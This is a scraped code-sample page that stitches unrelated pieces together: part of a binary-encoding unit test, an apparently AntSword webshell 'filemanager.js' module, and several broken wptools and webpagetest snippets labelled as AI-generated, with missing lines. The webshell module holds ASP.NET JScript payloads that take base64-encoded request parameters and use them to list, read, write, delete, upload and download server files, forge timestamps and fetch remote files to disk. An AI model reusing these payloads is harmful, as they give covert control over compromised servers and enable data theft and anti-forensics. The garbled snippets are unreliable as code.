0x05,620 // REVERSE(10 (bar) 00 (baz) 01 (extra) 01 (foo))621 0b10100001,622 // REVERSE(10 (qux) 000000)623 0b00000001,624 // True (flag)625 0x01,626 // String length (4)627 0x05,628 // 'john'629 0x6a, 0x6f, 0x68, 0x6e,630 // Optional bitset length = 1631 0x01,632 // Optional properties bitset = 0633 0x00,634 // Extra properties length = 1635 0x01,636 // String length (6)637 0x07,638 // 'random'639 0x72, 0x61, 0x6e, 0x64, 0x6f, 0x6d,640 // 'x' (random)641 0x11, 0x78642 ]))643 test.is(bytesWritten, 21)644 test.end()645})646tap.test('PACKED_BOUNDED_REQUIRED_OBJECT: should encode a complex object', (test) => {647 const context: EncodingContext = getDefaultEncodingContext()648 const buffer: ResizableBuffer = new ResizableBuffer(Buffer.allocUnsafe(8))649 const bytesWritten: number = PACKED_BOUNDED_REQUIRED_OBJECT(buffer, 0, {650 foo: 1,651 bar: 2,652 baz: 0,653 qux: 2,654 extra: 1,655 name: 'john',656 flag: true657 }, {658 packedRequiredProperties: [ 'bar', 'baz', 'extra', 'foo', 'qux' ],659 packedEncoding: {660 type: EncodingType.Integer,661 encoding: 'BOUNDED_8BITS_ENUM_FIXED',662 options: {663 minimum: 0,664 maximum: 2665 }666 },667 propertyEncodings: {668 name: getEncoding({669 type: 'string'670 }, 1),671 flag: getEncoding({672 type: 'boolean'673 }, 1)674 },675 requiredProperties: [ 'name' ],676 booleanRequiredProperties: [ 'flag' ]677 }, context)678 test.strictSame(buffer.getBuffer(), Buffer.from([679 // REVERSE(10 (bar) 00 (baz) 01 (extra) 01 (foo))680 0b10100001,681 // REVERSE(10 (qux) 000000)682 0b00000001,683 // True (flag)684 0x01,685 // String length (4)...
filemanager.js
Source:filemanager.js
1/**2 * æ件管ç模æ¿3 */4module.exports = (arg1, arg2, arg3) => ({5 dir: {6 _: `var D=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));var m=new System.IO.DirectoryInfo(D);var s=m.GetDirectories();var P:String;var i;function T(p:String):String{return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss");}for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"/\\t"+T(P)+"\\t0\\t"+(s[i].Attributes)+"\\n");}s=m.GetFiles();for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"\\t"+T(P)+"\\t"+s[i].Length+"\\t"+(s[i].Attributes)+"\\n");}`,7 [arg1]: "#{newbase64::path}"8 },9 delete: {10 _: `var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));if(System.IO.Directory.Exists(P)){System.IO.Directory.Delete(P,true);}else{System.IO.File.Delete(P);}Response.Write("1");`,11 [arg1]: "#{newbase64::path}"12 },13 create_file: {14 _: `var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));var m=new System.IO.StreamWriter(P,false,Encoding.Default);m.Write(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"].substr(#randomPrefix#))));m.Close();Response.Write("1");`,15 [arg1]: "#{newbase64::path}",16 [arg2]: "#{newbase64::content}"17 },18 read_file: {19 _: `var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));var m=new System.IO.StreamReader(P,Encoding.Default);Response.Write(m.ReadToEnd());m.Close();`,20 [arg1]: "#{newbase64::path}"21 },22 copy: {23 _: `var S=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));var D=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"].substr(#randomPrefix#)));function cp(S:String,D:String){if(System.IO.Directory.Exists(S)){var m=new System.IO.DirectoryInfo(S);var i;var f=m.GetFiles();var d=m.GetDirectories();System.IO.Directory.CreateDirectory(D);for (i in f)System.IO.File.Copy(S+"\\\\"+f[i].Name,D+"\\\\"+f[i].Name);for (i in d)cp(S+"\\\\"+d[i].Name,D+"\\\\"+d[i].Name);}else{System.IO.File.Copy(S,D);}}cp(S,D);Response.Write("1");`,24 [arg1]: "#{newbase64::path}",25 [arg2]: "#{newbase64::target}"26 },27 download_file: {28 _: `Response.WriteFile(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#))));`,29 [arg1]: "#{newbase64::path}"30 },31 upload_file: {32 _:33 // `var34 // P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.C35 // onvert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));var36 // Z:String=Request.Item["${arg2}"].substr(#randomPrefix#);var B:byte[]=new byte[Z.Length/2];for(var37 // i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var38 // fs:System.IO.FileStream=new39 // System.IO.FileStream(P,System.IO.FileMode.Create);fs.Write(B,0,B.Length);fs.Cl40 // ose();Response.Write("1");`, ä¿®æ¹åå
¥æ¨¡å¼Create->Append41 `var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));var Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Append);fs.Write(B,0,B.Length);fs.Close();Response.Write("1");`,42 [arg1]: "#{newbase64::path}",43 [arg2]: "#{buffer::content}"44 },45 rename: {46 _: `var src=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#))),dst=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"].substr(#randomPrefix#)));if (System.IO.Directory.Exists(src)){System.IO.Directory.Move(src,dst);}else{System.IO.File.Move(src,dst);}Response.Write("1");`,47 [arg1]: "#{newbase64::path}",48 [arg2]: "#{newbase64::name}"49 },50 retime: {51 _: `var DD=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#))),TM=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"].substr(#randomPrefix#)));if(System.IO.Directory.Exists(DD)){System.IO.Directory.SetCreationTime(DD,TM);System.IO.Directory.SetLastWriteTime(DD,TM);System.IO.Directory.SetLastAccessTime(DD,TM);}else{System.IO.File.SetCreationTime(DD,TM);System.IO.File.SetLastWriteTime(DD,TM);System.IO.File.SetLastAccessTime(DD,TM);}Response.Write("1");`,52 [arg1]: "#{newbase64::path}",53 [arg2]: "#{newbase64::time}"54 },55 mkdir: {56 _: `var D=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));System.IO.Directory.CreateDirectory(D);Response.Write("1");`,57 [arg1]: "#{newbase64::path}"58 },59 wget: {60 _: `var X=new ActiveXObject("Microsoft.XMLHTTP");var S=new ActiveXObject("Adodb.Stream");S.Type=1;S.Mode=3;S.Open();X.Open("GET",System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#))),false);X.Send();S.Write(X.ResponseBody);S.Position=0;S.SaveToFile(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"].substr(#randomPrefix#))),2);S.close;S=null;X=null;Response.Write("1");`,61 [arg1]: "#{newbase64::url}",62 [arg2]: "#{newbase64::path}"63 }...
Using AI Code Generation
1var wptools = require('wptools');2var options = {3};4var page = wptools.page('Albert Einstein', options);5page.getEncoding(function(err, encoding) {6 console.log(encoding);7});
Using AI Code Generation
1var wptools = require('wptools');2var page = wptools.page('Barack Obama');3page.getEncoding(function(err, encoding) {4 console.log(encoding);5});6var wptools = require('wptools');7var page = wptools.page('Barack Obama');8page.getLanguageLinks(function(err, links) {9 console.log(links);10});11var wptools = require('wptools');12var page = wptools.page('Barack Obama');13page.getLinks(function(err, links) {14 console.log(links);15});16var wptools = require('wptools');17var page = wptools.page('Barack Obama');18page.getOutlinks(function(err, links) {19 console.log(links);20});21var wptools = require('wptools');22var page = wptools.page('Barack Obama');23page.getRedirects(function(err, links) {24 console.log(links);25});26var wptools = require('wptools');27var page = wptools.page('Barack Obama');28page.getRevisions(function(err, links) {29 console.log(links);30});31var wptools = require('wptools');32var page = wptools.page('Barack Obama');33page.getTemplates(function(err, links) {34 console.log(links);35});36var wptools = require('wptools');37var page = wptools.page('Barack Obama');38page.getTransclusions(function(err, links) {39 console.log(links);40});41var wptools = require('wptools');42var page = wptools.page('Barack Obama');43page.getWikitext(function(err, links) {
Using AI Code Generation
1var wpt = require('webpagetest');2var test = wpt('www.webpagetest.org');3 console.log(data);4});5var wpt = require('webpagetest');6var test = wpt('www.webpagetest.org');7test.getLocations(function(err, data) {8 console.log(data);9});10var wpt = require('webpagetest');11var test = wpt('www.webpagetest.org');12test.getTesters(function(err, data) {13 console.log(data);14});15var wpt = require('webpagetest');16var test = wpt('www.webpagetest.org');17 console.log(data);18});19var wpt = require('webpagetest');20var test = wpt('www.webpagetest.org');21 console.log(data);22});23var wpt = require('webpagetest');24var test = wpt('www.webpagetest.org');25 console.log(data);26});27var wpt = require('webpagetest');28var test = wpt('www.webpagetest.org');29 console.log(data);30});31var wpt = require('webpagetest');32var test = wpt('www.webpagetest.org');33 console.log(data);34});
Using AI Code Generation
1var wptools = require('wptools');2var fs = require('fs');3var page = wptools.page('Albert Einstein');4page.getEncoding(function(err, encoding) {5 if (err) {6 console.log(err);7 } else {8 console.log(encoding);9 }10});11var wptools = require('wptools');12var fs = require('fs');13var page = wptools.page('Albert Einstein');14page.getExtract(function(err, extract) {15 if (err) {16 console.log(err);17 } else {18 console.log(extract);19 }20});21var wptools = require('wptools');22var fs = require('fs');23var page = wptools.page('Albert Einstein');24page.getCoordinates(function(err, coordinates) {25 if (err) {26 console.log(err);27 } else {28 console.log(coordinates);29 }30});31var wptools = require('wptools');32var fs = require('fs');33var page = wptools.page('Albert Einstein');34page.getImages(function(err, images) {35 if (err) {36 console.log(err);37 } else {38 console.log(images);39 }40});41var wptools = require('wptools');42var fs = require('fs');43var page = wptools.page('Albert Einstein');44page.getLinks(function(err, links) {45 if (err) {46 console.log(err);47 } else {48 console.log(links);49 }50});51var wptools = require('wptools');52var fs = require('fs');53var page = wptools.page('
Using AI Code Generation
1var wptools = require('wptools');2 console.log(encoding);3});4var wptools = require('wptools');5 console.log(encoding);6});7var wptools = require('wptools');8 console.log(encoding);9});10var wptools = require('wptools');11 console.log(encoding);12});13var wptools = require('wptools');14 console.log(encoding);15});16var wptools = require('wptools');17 console.log(encoding);18});19var wptools = require('wptools');20 console.log(encoding);21});
Using AI Code Generation
1var wpt = require('webpagetest');2var webpagetest = new wpt('A.8d5d7a5e5f5a7a5a8d5d7a5e5f5a7a5a');3 if (err) return console.error(err);4 console.log(data);5});6### getLocations(options, callback)7- `f`: Filter the list of locations to only show the ones that match the filter (e.g. `f=ec2` to show only Amazon EC2 locations)8- `k`: API key (must be provided if the test is private)9- `l`: Location to test from (defaults to the first location in the list)10- `fuzzy`: 1 to use a fuzzy match on the location (e.g. `Dulles` will match `Dulles_IE`)11var wpt = require('webpagetest');12var webpagetest = new wpt('A.8d5d7a5e5f5a7a5a8d5d7a5e5f5a7a5a');13webpagetest.getLocations(function(err, data) {14 if (err) return console.error(err);15 console.log(data);16});17### getLocations(options, callback)18- `f`: Filter the list of locations to only show the ones that match the filter (e.g. `f=ec2` to show only Amazon EC2 locations)19- `k`: API key (must be provided if the test is private)20- `l`: Location to test from (defaults to the first location in the list)21- `fuzzy`: 1 to use a fuzzy match on the location (e.g. `Dul
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!